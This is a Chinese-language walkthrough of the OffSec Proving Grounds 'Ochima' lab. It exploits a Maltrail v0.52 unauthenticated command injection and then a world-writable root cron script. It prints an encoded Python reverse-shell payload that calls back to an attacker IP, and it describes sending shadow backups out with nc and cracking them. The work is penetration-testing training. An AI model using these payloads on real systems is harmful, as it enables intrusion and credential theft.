本文最后更新于 2026年1月22日 下午
一、靶场详情
靶场名称:
Ochima
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结
突破边界:
Maltrail 未经身份验证的命令注入 –> snort 用户权限 –> 用户旗帜
权限提升:
pspy 监控系统进程 –> 修改/var/backups/etc_Backup.sh 为反弹 shell –> root 用户权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
TCP 端口扫描:
1 2 3 4 5 6
| sudo nmap -p- 192.168.104.32 --min-rate=2000
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8338/tcp open unknown
|
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| sudo nmap -p22,80,8338 -sCV 192.168.104.32 Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 03:22 EDT Nmap scan report for 192.168.104.32 Host is up (0.075s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA) |_ 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 8338/tcp open http Python http.server 3.5 - 3.10 |_http-title: Maltrail | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Maltrail/0.52 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
系统为 Linux 环境,开放有 HTTP、SSH 服务。
3.2 渗透测试突破边界
3.2.1 Maltrail 未经身份验证的命令注入
靶机 HTTP 80 端口为 Ubuntu Apache 的默认页面,HTTP 8338 端口部署了 Maltrail v0.52 应用。


搜索引擎检索 Maltrail v0.52 exploit,发现历史存在未授权代码注入漏洞。
参考链接:
1 2
| https://www.rapid7.com/db/modules/exploit/unix/http/maltrail_rce/ https://github.com/spookier/Maltrail-v0.53-Exploit/blob/main/exploit.py
|


根据链接脚本中漏洞利用 payload,可手动构建,然后在登录框中执行。
1
| https://www.revshells.com/
|

1
| ;`echo+cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC40NS4yMDIiLDgwKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIikn+|+base64+-d+|+bash`
|
在 kali 使用 nc 监听 80 端口,将 payload 当做用户名输入,获取到系统 snort 用户 shell。


升级为交互式 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限
3.3.1 Pspy 监控系统进程,修改定时脚本获取系统 root 权限
使用 pspy 工具监控系统进程,发现系统会定时以 root 权限执行 /var/backups/etc_Backup.sh 脚本,且任意用户对该脚本具有写入权限,可通过写入反弹 shell 获取系统 root 用户权限。



在 kali 使用 nc 监听 80 端口,等待靶机再次执行脚本时,得到了系统 root 用户 shell。

在 snort 家目录存在靶机 etc 目录的备份文件,我们可使用 nc 将备份文件传输到 kali,但由于靶机 shadow 文件使用了 yescrypt 加密算法($y),kali 中的 hashcat 和 john 均不支持该算法的破解,想要破解该算法需要升级 john 版本,并在构建 john 前,安装更新一些依赖,不然也无法执行 yescrypt 加密算法破解。更新一些依赖担心会影响 kali 的其他工具,目前没有成功安装支持 yescrypt 加密算法破解的 john。
文档更新!!!
目前 kali john 已经支持 yescrypt 加密算法爆破!!
只需要我们指定 --format=crypt 参数即可实现爆破。
3.3.2 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨